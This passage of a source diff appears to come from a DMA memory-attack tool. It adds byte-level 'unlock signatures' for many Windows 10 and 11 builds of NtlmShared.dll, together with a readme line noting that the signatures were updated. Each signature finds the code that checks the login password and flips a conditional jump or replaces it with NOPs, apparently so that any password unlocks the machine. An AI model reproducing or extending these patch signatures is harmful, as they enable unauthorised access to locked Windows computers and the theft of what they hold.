= 0x73B,.cb = 6,.pb = { 0x0F, 0x84, 0x09, 0xFB, 0xFF, 0xFF } }, + { .cbOffset = 0x73B,.cb = 2,.pb = { 0x0F, 0x85 } } } + }, + // Signature for Windows 10 x64 [NtlmShared.dll 10.0.19041.1 / 2019-12-07] + { .chunk = { + { .cbOffset = 0x423,.cb = 10,.pb = { 0x48, 0x8B, 0xCB, 0x48, 0xFF, 0x15, 0x53, 0x20, 0x00, 0x00 } }, + { .cbOffset = 0x435,.cb = 6,.pb = { 0x0F, 0x84, 0xBA, 0xFA, 0xFF, 0xFF } }, + { .cbOffset = 0x435,.cb = 2,.pb = { 0x0F, 0x85 } } } + }, + // Signature for Windows 10 x64 [NtlmShared.dll 10.0.19041.2728 / 2023-03-09] + { .chunk = { + { .cbOffset = 0x4B3,.cb = 10,.pb = { 0x48, 0x8B, 0xCB, 0x48, 0xFF, 0x15, 0xC3, 0x1F, 0x00, 0x00 } }, + { .cbOffset = 0x4C5,.cb = 6,.pb = { 0x0F, 0x84, 0xBA, 0xFA, 0xFF, 0xFF } }, + { .cbOffset = 0x4C5,.cb = 2,.pb = { 0x0F, 0x85 } } } + }, + // Signature for Windows 10 x64 [NtlmShared.dll 10.0.19041.2965 / 2023-04-27] + // Signature for Windows 10 x64 [NtlmShared.dll 10.0.19041.3636 / 2023-10-20] + // Signature for Windows 10 x64 [NtlmShared.dll 10.0.19041.3684 / 2023-10-17] + { .chunk = { + { .cbOffset = 0x4C3,.cb = 10,.pb = { 0x48, 0x8B, 0xCB, 0x48, 0xFF, 0x15, 0xB3, 0x1F, 0x00, 0x00 } }, + { .cbOffset = 0x4D5,.cb = 6,.pb = { 0x0F, 0x84, 0xBA, 0xFA, 0xFF, 0xFF } }, + { .cbOffset = 0x4D5,.cb = 2,.pb = { 0x0F, 0x85 } } } + }, + // Signature for Windows 11 x64 [NtlmShared.dll 10.0.20348.1668 / 2023-03-30] + { .chunk = { + { .cbOffset = 0xA7B,.cb = 10,.pb = { 0x48, 0x8B, 0xCB, 0x48, 0xFF, 0x15, 0xA3, 0x28, 0x00, 0x00 } }, + { .cbOffset = 0xA8D,.cb = 6,.pb = { 0x0F, 0x84, 0xB2, 0xFA, 0xFF, 0xFF } }, + { .cbOffset = 0xA8D,.cb = 2,.pb = { 0x0F, 0x85 } } } + }, + // Signature for Windows 11 x64 [NtlmShared.dll 10.0.20348.887 / 2022-08-04] + { .chunk = { + { .cbOffset = 0xA6B,.cb = 10,.pb = { 0x48, 0x8B, 0xCB, 0x48, 0xFF, 0x15, 0xB3, 0x28, 0x00, 0x00 } }, + { .cbOffset = 0xA7D,.cb = 6,.pb = { 0x0F, 0x84, 0xB2, 0xFA, 0xFF, 0xFF } }, + { .cbOffset = 0xA7D,.cb = 2,.pb = { 0x0F, 0x85 } } } + }, + // Signature for Windows 11 x64 [NtlmShared.dll 10.0.22000.1696 / 2023-03-09] + { .chunk = { + { .cbOffset = 0x00B,.cb = 10,.pb = { 0x48, 0x8B, 0xCB, 0x48, 0xFF, 0x15, 0xE3, 0x22, 0x00, 0x00 } }, + { .cbOffset = 0x01D,.cb = 6,.pb = { 0x0F, 0x84, 0xB2, 0xFA, 0xFF, 0xFF } }, + { .cbOffset = 0x01D,.cb = 2,.pb = { 0x0F, 0x85 } } } + }, + // Signature for Windows 11 x64 [NtlmShared.dll 10.0.22000.2600 / 2023-11-08] + { .chunk = { + { .cbOffset = 0x01B,.cb = 10,.pb = { 0x48, 0x8B, 0xCB, 0x48, 0xFF, 0x15, 0xD3, 0x22, 0x00, 0x00 } }, + { .cbOffset = 0x02D,.cb = 6,.pb = { 0x0F, 0x84, 0xB2, 0xFA, 0xFF, 0xFF } }, + { .cbOffset = 0x02D,.cb = 2,.pb = { 0x0F, 0x85 } } } + }, + // Signature for Windows 11 x64 [NtlmShared.dll 10.0.22000.778 / 2022-06-18] + { .chunk = { + { .cbOffset = 0xF8B,.cb = 10,.pb = { 0x48, 0x8B, 0xCB, 0x48, 0xFF, 0x15, 0x63, 0x23, 0x00, 0x00 } }, + { .cbOffset = 0xF9D,.cb = 6,.pb = { 0x0F, 0x84, 0xB2, 0xFA, 0xFF, 0xFF } }, + { .cbOffset = 0xF9D,.cb = 2,.pb = { 0x0F, 0x85 } } } + }, + // Signature for Windows 11 x64 [NtlmShared.dll 10.0.22621.2067 / 2023-07-11] + // Signature for Windows 11 x64 [NtlmShared.dll 10.0.22621.2506 / 2023-10-19] + // Signature for Windows 11 x64 [NtlmShared.dll 10.0.22621.2567 / 2023-10-14] + { .chunk = { + { .cbOffset = 0xFC9,.cb = 11,.pb = { 0x48, 0x8D, 0x4B, 0x10, 0x48, 0xFF, 0x15, 0x2C, 0x23, 0x00, 0x00 } }, + { .cbOffset = 0xFDC,.cb = 6,.pb = { 0x0F, 0x85, 0xC4, 0xFA, 0xFF, 0xFF } }, + { .cbOffset = 0xFDC,.cb = 6,.pb = { 0x90, 0x90, 0x90, 0x90, 0x90, 0x90 } } } + }, + }; KERNEL_FUNCTIONS2 fnk2; PPHYSICAL_MEMORY_RANGE pMemMap, pMM; diff --git a/readme.md b/readme.md index cdb96bf..c75f0b3 100644 --- a/readme.md +++ b/readme.md @@ -296,4 +296,5 @@ v4.1 * Linux PCIe FPGA performance improvements. Latest: -* benchmark command added. +* Benchmark command added. +* Unlock signatures updated.